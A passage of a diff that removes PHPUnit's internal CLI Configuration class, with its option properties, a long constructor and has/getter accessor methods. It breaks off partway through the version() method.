* @internal This class is not covered by the backward compatibility promise for PHPUnit - * - * @psalm-immutable - */ -final class Configuration -{ - /** - * @var ?string - */ - private $argument; - - /** - * @var ?string - */ - private $atLeastVersion; - - /** - * @var ?bool - */ - private $backupGlobals; - - /** - * @var ?bool - */ - private $backupStaticAttributes; - - /** - * @var ?bool - */ - private $beStrictAboutChangesToGlobalState; - - /** - * @var ?bool - */ - private $beStrictAboutResourceUsageDuringSmallTests; - - /** - * @var ?string - */ - private $bootstrap; - - /** - * @var ?bool - */ - private $cacheResult; - - /** - * @var ?string - */ - private $cacheResultFile; - - /** - * @var ?bool - */ - private $checkVersion; - - /** - * @var ?string - */ - private $colors; - - /** - * @var null|int|string - */ - private $columns; - - /** - * @var ?string - */ - private $configuration; - - /** - * @var null|string[] - */ - private $coverageFilter; - - /** - * @var ?string - */ - private $coverageClover; - - /** - * @var ?string - */ - private $coverageCobertura; - - /** - * @var ?string - */ - private $coverageCrap4J; - - /** - * @var ?string - */ - private $coverageHtml; - - /** - * @var ?string - */ - private $coveragePhp; - - /** - * @var ?string - */ - private $coverageText; - - /** - * @var ?bool - */ - private $coverageTextShowUncoveredFiles; - - /** - * @var ?bool - */ - private $coverageTextShowOnlySummary; - - /** - * @var ?string - */ - private $coverageXml; - - /** - * @var ?bool - */ - private $pathCoverage; - - /** - * @var ?string - */ - private $coverageCacheDirectory; - - /** - * @var ?bool - */ - private $warmCoverageCache; - - /** - * @var ?bool - */ - private $debug; - - /** - * @var ?int - */ - private $defaultTimeLimit; - - /** - * @var ?bool - */ - private $disableCodeCoverageIgnore; - - /** - * @var ?bool - */ - private $disallowTestOutput; - - /** - * @var ?bool - */ - private $disallowTodoAnnotatedTests; - - /** - * @var ?bool - */ - private $enforceTimeLimit; - - /** - * @var null|string[] - */ - private $excludeGroups; - - /** - * @var ?int - */ - private $executionOrder; - - /** - * @var ?int - */ - private $executionOrderDefects; - - /** - * @var null|Extension[] - */ - private $extensions; - - /** - * @var null|string[] - */ - private $unavailableExtensions; - - /** - * @var ?bool - */ - private $failOnEmptyTestSuite; - - /** - * @var ?bool - */ - private $failOnIncomplete; - - /** - * @var ?bool - */ - private $failOnRisky; - - /** - * @var ?bool - */ - private $failOnSkipped; - - /** - * @var ?bool - */ - private $failOnWarning; - - /** - * @var ?string - */ - private $filter; - - /** - * @var ?bool - */ - private $generateConfiguration; - - /** - * @var ?bool - */ - private $migrateConfiguration; - - /** - * @var null|string[] - */ - private $groups; - - /** - * @var null|string[] - */ - private $testsCovering; - - /** - * @var null|string[] - */ - private $testsUsing; - - /** - * @var ?bool - */ - private $help; - - /** - * @var ?string - */ - private $includePath; - - /** - * @var null|string[] - */ - private $iniSettings; - - /** - * @var ?string - */ - private $junitLogfile; - - /** - * @var ?bool - */ - private $listGroups; - - /** - * @var ?bool - */ - private $listSuites; - - /** - * @var ?bool - */ - private $listTests; - - /** - * @var ?string - */ - private $listTestsXml; - - /** - * @var ?string - */ - private $loader; - - /** - * @var ?bool - */ - private $noCoverage; - - /** - * @var ?bool - */ - private $noExtensions; - - /** - * @var ?bool - */ - private $noInteraction; - - /** - * @var ?bool - */ - private $noLogging; - - /** - * @var ?string - */ - private $printer; - - /** - * @var ?bool - */ - private $processIsolation; - - /** - * @var ?int - */ - private $randomOrderSeed; - - /** - * @var ?int - */ - private $repeat; - - /** - * @var ?bool - */ - private $reportUselessTests; - - /** - * @var ?bool - */ - private $resolveDependencies; - - /** - * @var ?bool - */ - private $reverseList; - - /** - * @var ?bool - */ - private $stderr; - - /** - * @var ?bool - */ - private $strictCoverage; - - /** - * @var ?bool - */ - private $stopOnDefect; - - /** - * @var ?bool - */ - private $stopOnError; - - /** - * @var ?bool - */ - private $stopOnFailure; - - /** - * @var ?bool - */ - private $stopOnIncomplete; - - /** - * @var ?bool - */ - private $stopOnRisky; - - /** - * @var ?bool - */ - private $stopOnSkipped; - - /** - * @var ?bool - */ - private $stopOnWarning; - - /** - * @var ?string - */ - private $teamcityLogfile; - - /** - * @var null|string[] - */ - private $testdoxExcludeGroups; - - /** - * @var null|string[] - */ - private $testdoxGroups; - - /** - * @var ?string - */ - private $testdoxHtmlFile; - - /** - * @var ?string - */ - private $testdoxTextFile; - - /** - * @var ?string - */ - private $testdoxXmlFile; - - /** - * @var null|string[] - */ - private $testSuffixes; - - /** - * @var ?string - */ - private $testSuite; - - /** - * @var string[] - */ - private $unrecognizedOptions; - - /** - * @var ?string - */ - private $unrecognizedOrderBy; - - /** - * @var ?bool - */ - private $useDefaultConfiguration; - - /** - * @var ?bool - */ - private $verbose; - - /** - * @var ?bool - */ - private $version; - - /** - * @var ?string - */ - private $xdebugFilterFile; - - /** - * @param null|int|string $columns - */ - public function __construct(?string $argument, ?string $atLeastVersion, ?bool $backupGlobals, ?bool $backupStaticAttributes, ?bool $beStrictAboutChangesToGlobalState, ?bool $beStrictAboutResourceUsageDuringSmallTests, ?string $bootstrap, ?bool $cacheResult, ?string $cacheResultFile, ?bool $checkVersion, ?string $colors, $columns, ?string $configuration, ?string $coverageClover, ?string $coverageCobertura, ?string $coverageCrap4J, ?string $coverageHtml, ?string $coveragePhp, ?string $coverageText, ?bool $coverageTextShowUncoveredFiles, ?bool $coverageTextShowOnlySummary, ?string $coverageXml, ?bool $pathCoverage, ?string $coverageCacheDirectory, ?bool $warmCoverageCache, ?bool $debug, ?int $defaultTimeLimit, ?bool $disableCodeCoverageIgnore, ?bool $disallowTestOutput, ?bool $disallowTodoAnnotatedTests, ?bool $enforceTimeLimit, ?array $excludeGroups, ?int $executionOrder, ?int $executionOrderDefects, ?array $extensions, ?array $unavailableExtensions, ?bool $failOnEmptyTestSuite, ?bool $failOnIncomplete, ?bool $failOnRisky, ?bool $failOnSkipped, ?bool $failOnWarning, ?string $filter, ?bool $generateConfiguration, ?bool $migrateConfiguration, ?array $groups, ?array $testsCovering, ?array $testsUsing, ?bool $help, ?string $includePath, ?array $iniSettings, ?string $junitLogfile, ?bool $listGroups, ?bool $listSuites, ?bool $listTests, ?string $listTestsXml, ?string $loader, ?bool $noCoverage, ?bool $noExtensions, ?bool $noInteraction, ?bool $noLogging, ?string $printer, ?bool $processIsolation, ?int $randomOrderSeed, ?int $repeat, ?bool $reportUselessTests, ?bool $resolveDependencies, ?bool $reverseList, ?bool $stderr, ?bool $strictCoverage, ?bool $stopOnDefect, ?bool $stopOnError, ?bool $stopOnFailure, ?bool $stopOnIncomplete, ?bool $stopOnRisky, ?bool $stopOnSkipped, ?bool $stopOnWarning, ?string $teamcityLogfile, ?array $testdoxExcludeGroups, ?array $testdoxGroups, ?string $testdoxHtmlFile, ?string $testdoxTextFile, ?string $testdoxXmlFile, ?array $testSuffixes, ?string $testSuite, array $unrecognizedOptions, ?string $unrecognizedOrderBy, ?bool $useDefaultConfiguration, ?bool $verbose, ?bool $version, ?array $coverageFilter, ?string $xdebugFilterFile) - { - $this->argument = $argument; - $this->atLeastVersion = $atLeastVersion; - $this->backupGlobals = $backupGlobals; - $this->backupStaticAttributes = $backupStaticAttributes; - $this->beStrictAboutChangesToGlobalState = $beStrictAboutChangesToGlobalState; - $this->beStrictAboutResourceUsageDuringSmallTests = $beStrictAboutResourceUsageDuringSmallTests; - $this->bootstrap = $bootstrap; - $this->cacheResult = $cacheResult; - $this->cacheResultFile = $cacheResultFile; - $this->checkVersion = $checkVersion; - $this->colors = $colors; - $this->columns = $columns; - $this->configuration = $configuration; - $this->coverageFilter = $coverageFilter; - $this->coverageClover = $coverageClover; - $this->coverageCobertura = $coverageCobertura; - $this->coverageCrap4J = $coverageCrap4J; - $this->coverageHtml = $coverageHtml; - $this->coveragePhp = $coveragePhp; - $this->coverageText = $coverageText; - $this->coverageTextShowUncoveredFiles = $coverageTextShowUncoveredFiles; - $this->coverageTextShowOnlySummary = $coverageTextShowOnlySummary; - $this->coverageXml = $coverageXml; - $this->pathCoverage = $pathCoverage; - $this->coverageCacheDirectory = $coverageCacheDirectory; - $this->warmCoverageCache = $warmCoverageCache; - $this->debug = $debug; - $this->defaultTimeLimit = $defaultTimeLimit; - $this->disableCodeCoverageIgnore = $disableCodeCoverageIgnore; - $this->disallowTestOutput = $disallowTestOutput; - $this->disallowTodoAnnotatedTests = $disallowTodoAnnotatedTests; - $this->enforceTimeLimit = $enforceTimeLimit; - $this->excludeGroups = $excludeGroups; - $this->executionOrder = $executionOrder; - $this->executionOrderDefects = $executionOrderDefects; - $this->extensions = $extensions; - $this->unavailableExtensions = $unavailableExtensions; - $this->failOnEmptyTestSuite = $failOnEmptyTestSuite; - $this->failOnIncomplete = $failOnIncomplete; - $this->failOnRisky = $failOnRisky; - $this->failOnSkipped = $failOnSkipped; - $this->failOnWarning = $failOnWarning; - $this->filter = $filter; - $this->generateConfiguration = $generateConfiguration; - $this->migrateConfiguration = $migrateConfiguration; - $this->groups = $groups; - $this->testsCovering = $testsCovering; - $this->testsUsing = $testsUsing; - $this->help = $help; - $this->includePath = $includePath; - $this->iniSettings = $iniSettings; - $this->junitLogfile = $junitLogfile; - $this->listGroups = $listGroups; - $this->listSuites = $listSuites; - $this->listTests = $listTests; - $this->listTestsXml = $listTestsXml; - $this->loader = $loader; - $this->noCoverage = $noCoverage; - $this->noExtensions = $noExtensions; - $this->noInteraction = $noInteraction; - $this->noLogging = $noLogging; - $this->printer = $printer; - $this->processIsolation = $processIsolation; - $this->randomOrderSeed = $randomOrderSeed; - $this->repeat = $repeat; - $this->reportUselessTests = $reportUselessTests; - $this->resolveDependencies = $resolveDependencies; - $this->reverseList = $reverseList; - $this->stderr = $stderr; - $this->strictCoverage = $strictCoverage; - $this->stopOnDefect = $stopOnDefect; - $this->stopOnError = $stopOnError; - $this->stopOnFailure = $stopOnFailure; - $this->stopOnIncomplete = $stopOnIncomplete; - $this->stopOnRisky = $stopOnRisky; - $this->stopOnSkipped = $stopOnSkipped; - $this->stopOnWarning = $stopOnWarning; - $this->teamcityLogfile = $teamcityLogfile; - $this->testdoxExcludeGroups = $testdoxExcludeGroups; - $this->testdoxGroups = $testdoxGroups; - $this->testdoxHtmlFile = $testdoxHtmlFile; - $this->testdoxTextFile = $testdoxTextFile; - $this->testdoxXmlFile = $testdoxXmlFile; - $this->testSuffixes = $testSuffixes; - $this->testSuite = $testSuite; - $this->unrecognizedOptions = $unrecognizedOptions; - $this->unrecognizedOrderBy = $unrecognizedOrderBy; - $this->useDefaultConfiguration = $useDefaultConfiguration; - $this->verbose = $verbose; - $this->version = $version; - $this->xdebugFilterFile = $xdebugFilterFile; - } - - public function hasArgument(): bool - { - return $this->argument !== null; - } - - /** - * @throws Exception - */ - public function argument(): string - { - if ($this->argument === null) { - throw new Exception; - } - - return $this->argument; - } - - public function hasAtLeastVersion(): bool - { - return $this->atLeastVersion !== null; - } - - /** - * @throws Exception - */ - public function atLeastVersion(): string - { - if ($this->atLeastVersion === null) { - throw new Exception; - } - - return $this->atLeastVersion; - } - - public function hasBackupGlobals(): bool - { - return $this->backupGlobals !== null; - } - - /** - * @throws Exception - */ - public function backupGlobals(): bool - { - if ($this->backupGlobals === null) { - throw new Exception; - } - - return $this->backupGlobals; - } - - public function hasBackupStaticAttributes(): bool - { - return $this->backupStaticAttributes !== null; - } - - /** - * @throws Exception - */ - public function backupStaticAttributes(): bool - { - if ($this->backupStaticAttributes === null) { - throw new Exception; - } - - return $this->backupStaticAttributes; - } - - public function hasBeStrictAboutChangesToGlobalState(): bool - { - return $this->beStrictAboutChangesToGlobalState !== null; - } - - /** - * @throws Exception - */ - public function beStrictAboutChangesToGlobalState(): bool - { - if ($this->beStrictAboutChangesToGlobalState === null) { - throw new Exception; - } - - return $this->beStrictAboutChangesToGlobalState; - } - - public function hasBeStrictAboutResourceUsageDuringSmallTests(): bool - { - return $this->beStrictAboutResourceUsageDuringSmallTests !== null; - } - - /** - * @throws Exception - */ - public function beStrictAboutResourceUsageDuringSmallTests(): bool - { - if ($this->beStrictAboutResourceUsageDuringSmallTests === null) { - throw new Exception; - } - - return $this->beStrictAboutResourceUsageDuringSmallTests; - } - - public function hasBootstrap(): bool - { - return $this->bootstrap !== null; - } - - /** - * @throws Exception - */ - public function bootstrap(): string - { - if ($this->bootstrap === null) { - throw new Exception; - } - - return $this->bootstrap; - } - - public function hasCacheResult(): bool - { - return $this->cacheResult !== null; - } - - /** - * @throws Exception - */ - public function cacheResult(): bool - { - if ($this->cacheResult === null) { - throw new Exception; - } - - return $this->cacheResult; - } - - public function hasCacheResultFile(): bool - { - return $this->cacheResultFile !== null; - } - - /** - * @throws Exception - */ - public function cacheResultFile(): string - { - if ($this->cacheResultFile === null) { - throw new Exception; - } - - return $this->cacheResultFile; - } - - public function hasCheckVersion(): bool - { - return $this->checkVersion !== null; - } - - /** - * @throws Exception - */ - public function checkVersion(): bool - { - if ($this->checkVersion === null) { - throw new Exception; - } - - return $this->checkVersion; - } - - public function hasColors(): bool - { - return $this->colors !== null; - } - - /** - * @throws Exception - */ - public function colors(): string - { - if ($this->colors === null) { - throw new Exception; - } - - return $this->colors; - } - - public function hasColumns(): bool - { - return $this->columns !== null; - } - - /** - * @throws Exception - */ - public function columns() - { - if ($this->columns === null) { - throw new Exception; - } - - return $this->columns; - } - - public function hasConfiguration(): bool - { - return $this->configuration !== null; - } - - /** - * @throws Exception - */ - public function configuration(): string - { - if ($this->configuration === null) { - throw new Exception; - } - - return $this->configuration; - } - - public function hasCoverageFilter(): bool - { - return $this->coverageFilter !== null; - } - - /** - * @throws Exception - */ - public function coverageFilter(): array - { - if ($this->coverageFilter === null) { - throw new Exception; - } - - return $this->coverageFilter; - } - - public function hasCoverageClover(): bool - { - return $this->coverageClover !== null; - } - - /** - * @throws Exception - */ - public function coverageClover(): string - { - if ($this->coverageClover === null) { - throw new Exception; - } - - return $this->coverageClover; - } - - public function hasCoverageCobertura(): bool - { - return $this->coverageCobertura !== null; - } - - /** - * @throws Exception - */ - public function coverageCobertura(): string - { - if ($this->coverageCobertura === null) { - throw new Exception; - } - - return $this->coverageCobertura; - } - - public function hasCoverageCrap4J(): bool - { - return $this->coverageCrap4J !== null; - } - - /** - * @throws Exception - */ - public function coverageCrap4J(): string - { - if ($this->coverageCrap4J === null) { - throw new Exception; - } - - return $this->coverageCrap4J; - } - - public function hasCoverageHtml(): bool - { - return $this->coverageHtml !== null; - } - - /** - * @throws Exception - */ - public function coverageHtml(): string - { - if ($this->coverageHtml === null) { - throw new Exception; - } - - return $this->coverageHtml; - } - - public function hasCoveragePhp(): bool - { - return $this->coveragePhp !== null; - } - - /** - * @throws Exception - */ - public function coveragePhp(): string - { - if ($this->coveragePhp === null) { - throw new Exception; - } - - return $this->coveragePhp; - } - - public function hasCoverageText(): bool - { - return $this->coverageText !== null; - } - - /** - * @throws Exception - */ - public function coverageText(): string - { - if ($this->coverageText === null) { - throw new Exception; - } - - return $this->coverageText; - } - - public function hasCoverageTextShowUncoveredFiles(): bool - { - return $this->coverageTextShowUncoveredFiles !== null; - } - - /** - * @throws Exception - */ - public function coverageTextShowUncoveredFiles(): bool - { - if ($this->coverageTextShowUncoveredFiles === null) { - throw new Exception; - } - - return $this->coverageTextShowUncoveredFiles; - } - - public function hasCoverageTextShowOnlySummary(): bool - { - return $this->coverageTextShowOnlySummary !== null; - } - - /** - * @throws Exception - */ - public function coverageTextShowOnlySummary(): bool - { - if ($this->coverageTextShowOnlySummary === null) { - throw new Exception; - } - - return $this->coverageTextShowOnlySummary; - } - - public function hasCoverageXml(): bool - { - return $this->coverageXml !== null; - } - - /** - * @throws Exception - */ - public function coverageXml(): string - { - if ($this->coverageXml === null) { - throw new Exception; - } - - return $this->coverageXml; - } - - public function hasPathCoverage(): bool - { - return $this->pathCoverage !== null; - } - - /** - * @throws Exception - */ - public function pathCoverage(): bool - { - if ($this->pathCoverage === null) { - throw new Exception; - } - - return $this->pathCoverage; - } - - public function hasCoverageCacheDirectory(): bool - { - return $this->coverageCacheDirectory !== null; - } - - /** - * @throws Exception - */ - public function coverageCacheDirectory(): string - { - if ($this->coverageCacheDirectory === null) { - throw new Exception; - } - - return $this->coverageCacheDirectory; - } - - public function hasWarmCoverageCache(): bool - { - return $this->warmCoverageCache !== null; - } - - /** - * @throws Exception - */ - public function warmCoverageCache(): bool - { - if ($this->warmCoverageCache === null) { - throw new Exception; - } - - return $this->warmCoverageCache; - } - - public function hasDebug(): bool - { - return $this->debug !== null; - } - - /** - * @throws Exception - */ - public function debug(): bool - { - if ($this->debug === null) { - throw new Exception; - } - - return $this->debug; - } - - public function hasDefaultTimeLimit(): bool - { - return $this->defaultTimeLimit !== null; - } - - /** - * @throws Exception - */ - public function defaultTimeLimit(): int - { - if ($this->defaultTimeLimit === null) { - throw new Exception; - } - - return $this->defaultTimeLimit; - } - - public function hasDisableCodeCoverageIgnore(): bool - { - return $this->disableCodeCoverageIgnore !== null; - } - - /** - * @throws Exception - */ - public function disableCodeCoverageIgnore(): bool - { - if ($this->disableCodeCoverageIgnore === null) { - throw new Exception; - } - - return $this->disableCodeCoverageIgnore; - } - - public function hasDisallowTestOutput(): bool - { - return $this->disallowTestOutput !== null; - } - - /** - * @throws Exception - */ - public function disallowTestOutput(): bool - { - if ($this->disallowTestOutput === null) { - throw new Exception; - } - - return $this->disallowTestOutput; - } - - public function hasDisallowTodoAnnotatedTests(): bool - { - return $this->disallowTodoAnnotatedTests !== null; - } - - /** - * @throws Exception - */ - public function disallowTodoAnnotatedTests(): bool - { - if ($this->disallowTodoAnnotatedTests === null) { - throw new Exception; - } - - return $this->disallowTodoAnnotatedTests; - } - - public function hasEnforceTimeLimit(): bool - { - return $this->enforceTimeLimit !== null; - } - - /** - * @throws Exception - */ - public function enforceTimeLimit(): bool - { - if ($this->enforceTimeLimit === null) { - throw new Exception; - } - - return $this->enforceTimeLimit; - } - - public function hasExcludeGroups(): bool - { - return $this->excludeGroups !== null; - } - - /** - * @throws Exception - */ - public function excludeGroups(): array - { - if ($this->excludeGroups === null) { - throw new Exception; - } - - return $this->excludeGroups; - } - - public function hasExecutionOrder(): bool - { - return $this->executionOrder !== null; - } - - /** - * @throws Exception - */ - public function executionOrder(): int - { - if ($this->executionOrder === null) { - throw new Exception; - } - - return $this->executionOrder; - } - - public function hasExecutionOrderDefects(): bool - { - return $this->executionOrderDefects !== null; - } - - /** - * @throws Exception - */ - public function executionOrderDefects(): int - { - if ($this->executionOrderDefects === null) { - throw new Exception; - } - - return $this->executionOrderDefects; - } - - public function hasFailOnEmptyTestSuite(): bool - { - return $this->failOnEmptyTestSuite !== null; - } - - /** - * @throws Exception - */ - public function failOnEmptyTestSuite(): bool - { - if ($this->failOnEmptyTestSuite === null) { - throw new Exception; - } - - return $this->failOnEmptyTestSuite; - } - - public function hasFailOnIncomplete(): bool - { - return $this->failOnIncomplete !== null; - } - - /** - * @throws Exception - */ - public function failOnIncomplete(): bool - { - if ($this->failOnIncomplete === null) { - throw new Exception; - } - - return $this->failOnIncomplete; - } - - public function hasFailOnRisky(): bool - { - return $this->failOnRisky !== null; - } - - /** - * @throws Exception - */ - public function failOnRisky(): bool - { - if ($this->failOnRisky === null) { - throw new Exception; - } - - return $this->failOnRisky; - } - - public function hasFailOnSkipped(): bool - { - return $this->failOnSkipped !== null; - } - - /** - * @throws Exception - */ - public function failOnSkipped(): bool - { - if ($this->failOnSkipped === null) { - throw new Exception; - } - - return $this->failOnSkipped; - } - - public function hasFailOnWarning(): bool - { - return $this->failOnWarning !== null; - } - - /** - * @throws Exception - */ - public function failOnWarning(): bool - { - if ($this->failOnWarning === null) { - throw new Exception; - } - - return $this->failOnWarning; - } - - public function hasFilter(): bool - { - return $this->filter !== null; - } - - /** - * @throws Exception - */ - public function filter(): string - { - if ($this->filter === null) { - throw new Exception; - } - - return $this->filter; - } - - public function hasGenerateConfiguration(): bool - { - return $this->generateConfiguration !== null; - } - - /** - * @throws Exception - */ - public function generateConfiguration(): bool - { - if ($this->generateConfiguration === null) { - throw new Exception; - } - - return $this->generateConfiguration; - } - - public function hasMigrateConfiguration(): bool - { - return $this->migrateConfiguration !== null; - } - - /** - * @throws Exception - */ - public function migrateConfiguration(): bool - { - if ($this->migrateConfiguration === null) { - throw new Exception; - } - - return $this->migrateConfiguration; - } - - public function hasGroups(): bool - { - return $this->groups !== null; - } - - /** - * @throws Exception - */ - public function groups(): array - { - if ($this->groups === null) { - throw new Exception; - } - - return $this->groups; - } - - public function hasTestsCovering(): bool - { - return $this->testsCovering !== null; - } - - /** - * @throws Exception - */ - public function testsCovering(): array - { - if ($this->testsCovering === null) { - throw new Exception; - } - - return $this->testsCovering; - } - - public function hasTestsUsing(): bool - { - return $this->testsUsing !== null; - } - - /** - * @throws Exception - */ - public function testsUsing(): array - { - if ($this->testsUsing === null) { - throw new Exception; - } - - return $this->testsUsing; - } - - public function hasHelp(): bool - { - return $this->help !== null; - } - - /** - * @throws Exception - */ - public function help(): bool - { - if ($this->help === null) { - throw new Exception; - } - - return $this->help; - } - - public function hasIncludePath(): bool - { - return $this->includePath !== null; - } - - /** - * @throws Exception - */ - public function includePath(): string - { - if ($this->includePath === null) { - throw new Exception; - } - - return $this->includePath; - } - - public function hasIniSettings(): bool - { - return $this->iniSettings !== null; - } - - /** - * @throws Exception - */ - public function iniSettings(): array - { - if ($this->iniSettings === null) { - throw new Exception; - } - - return $this->iniSettings; - } - - public function hasJunitLogfile(): bool - { - return $this->junitLogfile !== null; - } - - /** - * @throws Exception - */ - public function junitLogfile(): string - { - if ($this->junitLogfile === null) { - throw new Exception; - } - - return $this->junitLogfile; - } - - public function hasListGroups(): bool - { - return $this->listGroups !== null; - } - - /** - * @throws Exception - */ - public function listGroups(): bool - { - if ($this->listGroups === null) { - throw new Exception; - } - - return $this->listGroups; - } - - public function hasListSuites(): bool - { - return $this->listSuites !== null; - } - - /** - * @throws Exception - */ - public function listSuites(): bool - { - if ($this->listSuites === null) { - throw new Exception; - } - - return $this->listSuites; - } - - public function hasListTests(): bool - { - return $this->listTests !== null; - } - - /** - * @throws Exception - */ - public function listTests(): bool - { - if ($this->listTests === null) { - throw new Exception; - } - - return $this->listTests; - } - - public function hasListTestsXml(): bool - { - return $this->listTestsXml !== null; - } - - /** - * @throws Exception - */ - public function listTestsXml(): string - { - if ($this->listTestsXml === null) { - throw new Exception; - } - - return $this->listTestsXml; - } - - public function hasLoader(): bool - { - return $this->loader !== null; - } - - /** - * @throws Exception - */ - public function loader(): string - { - if ($this->loader === null) { - throw new Exception; - } - - return $this->loader; - } - - public function hasNoCoverage(): bool - { - return $this->noCoverage !== null; - } - - /** - * @throws Exception - */ - public function noCoverage(): bool - { - if ($this->noCoverage === null) { - throw new Exception; - } - - return $this->noCoverage; - } - - public function hasNoExtensions(): bool - { - return $this->noExtensions !== null; - } - - /** - * @throws Exception - */ - public function noExtensions(): bool - { - if ($this->noExtensions === null) { - throw new Exception; - } - - return $this->noExtensions; - } - - public function hasExtensions(): bool - { - return $this->extensions !== null; - } - - /** - * @throws Exception - */ - public function extensions(): array - { - if ($this->extensions === null) { - throw new Exception; - } - - return $this->extensions; - } - - public function hasUnavailableExtensions(): bool - { - return $this->unavailableExtensions !== null; - } - - /** - * @throws Exception - */ - public function unavailableExtensions(): array - { - if ($this->unavailableExtensions === null) { - throw new Exception; - } - - return $this->unavailableExtensions; - } - - public function hasNoInteraction(): bool - { - return $this->noInteraction !== null; - } - - /** - * @throws Exception - */ - public function noInteraction(): bool - { - if ($this->noInteraction === null) { - throw new Exception; - } - - return $this->noInteraction; - } - - public function hasNoLogging(): bool - { - return $this->noLogging !== null; - } - - /** - * @throws Exception - */ - public function noLogging(): bool - { - if ($this->noLogging === null) { - throw new Exception; - } - - return $this->noLogging; - } - - public function hasPrinter(): bool - { - return $this->printer !== null; - } - - /** - * @throws Exception - */ - public function printer(): string - { - if ($this->printer === null) { - throw new Exception; - } - - return $this->printer; - } - - public function hasProcessIsolation(): bool - { - return $this->processIsolation !== null; - } - - /** - * @throws Exception - */ - public function processIsolation(): bool - { - if ($this->processIsolation === null) { - throw new Exception; - } - - return $this->processIsolation; - } - - public function hasRandomOrderSeed(): bool - { - return $this->randomOrderSeed !== null; - } - - /** - * @throws Exception - */ - public function randomOrderSeed(): int - { - if ($this->randomOrderSeed === null) { - throw new Exception; - } - - return $this->randomOrderSeed; - } - - public function hasRepeat(): bool - { - return $this->repeat !== null; - } - - /** - * @throws Exception - */ - public function repeat(): int - { - if ($this->repeat === null) { - throw new Exception; - } - - return $this->repeat; - } - - public function hasReportUselessTests(): bool - { - return $this->reportUselessTests !== null; - } - - /** - * @throws Exception - */ - public function reportUselessTests(): bool - { - if ($this->reportUselessTests === null) { - throw new Exception; - } - - return $this->reportUselessTests; - } - - public function hasResolveDependencies(): bool - { - return $this->resolveDependencies !== null; - } - - /** - * @throws Exception - */ - public function resolveDependencies(): bool - { - if ($this->resolveDependencies === null) { - throw new Exception; - } - - return $this->resolveDependencies; - } - - public function hasReverseList(): bool - { - return $this->reverseList !== null; - } - - /** - * @throws Exception - */ - public function reverseList(): bool - { - if ($this->reverseList === null) { - throw new Exception; - } - - return $this->reverseList; - } - - public function hasStderr(): bool - { - return $this->stderr !== null; - } - - /** - * @throws Exception - */ - public function stderr(): bool - { - if ($this->stderr === null) { - throw new Exception; - } - - return $this->stderr; - } - - public function hasStrictCoverage(): bool - { - return $this->strictCoverage !== null; - } - - /** - * @throws Exception - */ - public function strictCoverage(): bool - { - if ($this->strictCoverage === null) { - throw new Exception; - } - - return $this->strictCoverage; - } - - public function hasStopOnDefect(): bool - { - return $this->stopOnDefect !== null; - } - - /** - * @throws Exception - */ - public function stopOnDefect(): bool - { - if ($this->stopOnDefect === null) { - throw new Exception; - } - - return $this->stopOnDefect; - } - - public function hasStopOnError(): bool - { - return $this->stopOnError !== null; - } - - /** - * @throws Exception - */ - public function stopOnError(): bool - { - if ($this->stopOnError === null) { - throw new Exception; - } - - return $this->stopOnError; - } - - public function hasStopOnFailure(): bool - { - return $this->stopOnFailure !== null; - } - - /** - * @throws Exception - */ - public function stopOnFailure(): bool - { - if ($this->stopOnFailure === null) { - throw new Exception; - } - - return $this->stopOnFailure; - } - - public function hasStopOnIncomplete(): bool - { - return $this->stopOnIncomplete !== null; - } - - /** - * @throws Exception - */ - public function stopOnIncomplete(): bool - { - if ($this->stopOnIncomplete === null) { - throw new Exception; - } - - return $this->stopOnIncomplete; - } - - public function hasStopOnRisky(): bool - { - return $this->stopOnRisky !== null; - } - - /** - * @throws Exception - */ - public function stopOnRisky(): bool - { - if ($this->stopOnRisky === null) { - throw new Exception; - } - - return $this->stopOnRisky; - } - - public function hasStopOnSkipped(): bool - { - return $this->stopOnSkipped !== null; - } - - /** - * @throws Exception - */ - public function stopOnSkipped(): bool - { - if ($this->stopOnSkipped === null) { - throw new Exception; - } - - return $this->stopOnSkipped; - } - - public function hasStopOnWarning(): bool - { - return $this->stopOnWarning !== null; - } - - /** - * @throws Exception - */ - public function stopOnWarning(): bool - { - if ($this->stopOnWarning === null) { - throw new Exception; - } - - return $this->stopOnWarning; - } - - public function hasTeamcityLogfile(): bool - { - return $this->teamcityLogfile !== null; - } - - /** - * @throws Exception - */ - public function teamcityLogfile(): string - { - if ($this->teamcityLogfile === null) { - throw new Exception; - } - - return $this->teamcityLogfile; - } - - public function hasTestdoxExcludeGroups(): bool - { - return $this->testdoxExcludeGroups !== null; - } - - /** - * @throws Exception - */ - public function testdoxExcludeGroups(): array - { - if ($this->testdoxExcludeGroups === null) { - throw new Exception; - } - - return $this->testdoxExcludeGroups; - } - - public function hasTestdoxGroups(): bool - { - return $this->testdoxGroups !== null; - } - - /** - * @throws Exception - */ - public function testdoxGroups(): array - { - if ($this->testdoxGroups === null) { - throw new Exception; - } - - return $this->testdoxGroups; - } - - public function hasTestdoxHtmlFile(): bool - { - return $this->testdoxHtmlFile !== null; - } - - /** - * @throws Exception - */ - public function testdoxHtmlFile(): string - { - if ($this->testdoxHtmlFile === null) { - throw new Exception; - } - - return $this->testdoxHtmlFile; - } - - public function hasTestdoxTextFile(): bool - { - return $this->testdoxTextFile !== null; - } - - /** - * @throws Exception - */ - public function testdoxTextFile(): string - { - if ($this->testdoxTextFile === null) { - throw new Exception; - } - - return $this->testdoxTextFile; - } - - public function hasTestdoxXmlFile(): bool - { - return $this->testdoxXmlFile !== null; - } - - /** - * @throws Exception - */ - public function testdoxXmlFile(): string - { - if ($this->testdoxXmlFile === null) { - throw new Exception; - } - - return $this->testdoxXmlFile; - } - - public function hasTestSuffixes(): bool - { - return $this->testSuffixes !== null; - } - - /** - * @throws Exception - */ - public function testSuffixes(): array - { - if ($this->testSuffixes === null) { - throw new Exception; - } - - return $this->testSuffixes; - } - - public function hasTestSuite(): bool - { - return $this->testSuite !== null; - } - - /** - * @throws Exception - */ - public function testSuite(): string - { - if ($this->testSuite === null) { - throw new Exception; - } - - return $this->testSuite; - } - - public function unrecognizedOptions(): array - { - return $this->unrecognizedOptions; - } - - public function hasUnrecognizedOrderBy(): bool - { - return $this->unrecognizedOrderBy !== null; - } - - /** - * @throws Exception - */ - public function unrecognizedOrderBy(): string - { - if ($this->unrecognizedOrderBy === null) { - throw new Exception; - } - - return $this->unrecognizedOrderBy; - } - - public function hasUseDefaultConfiguration(): bool - { - return $this->useDefaultConfiguration !== null; - } - - /** - * @throws Exception - */ - public function useDefaultConfiguration(): bool - { - if ($this->useDefaultConfiguration === null) { - throw new Exception; - } - - return $this->useDefaultConfiguration; - } - - public function hasVerbose(): bool - { - return $this->verbose !== null; - } - - /** - * @throws Exception - */ - public function verbose(): bool - { - if ($this->verbose === null) { - throw new Exception; - } - - return $this->verbose; - } - - public function hasVersion(): bool - { - return $this->version !== null; - } - - /** - * @throws Exception - */ - public function version(): bool - { - if 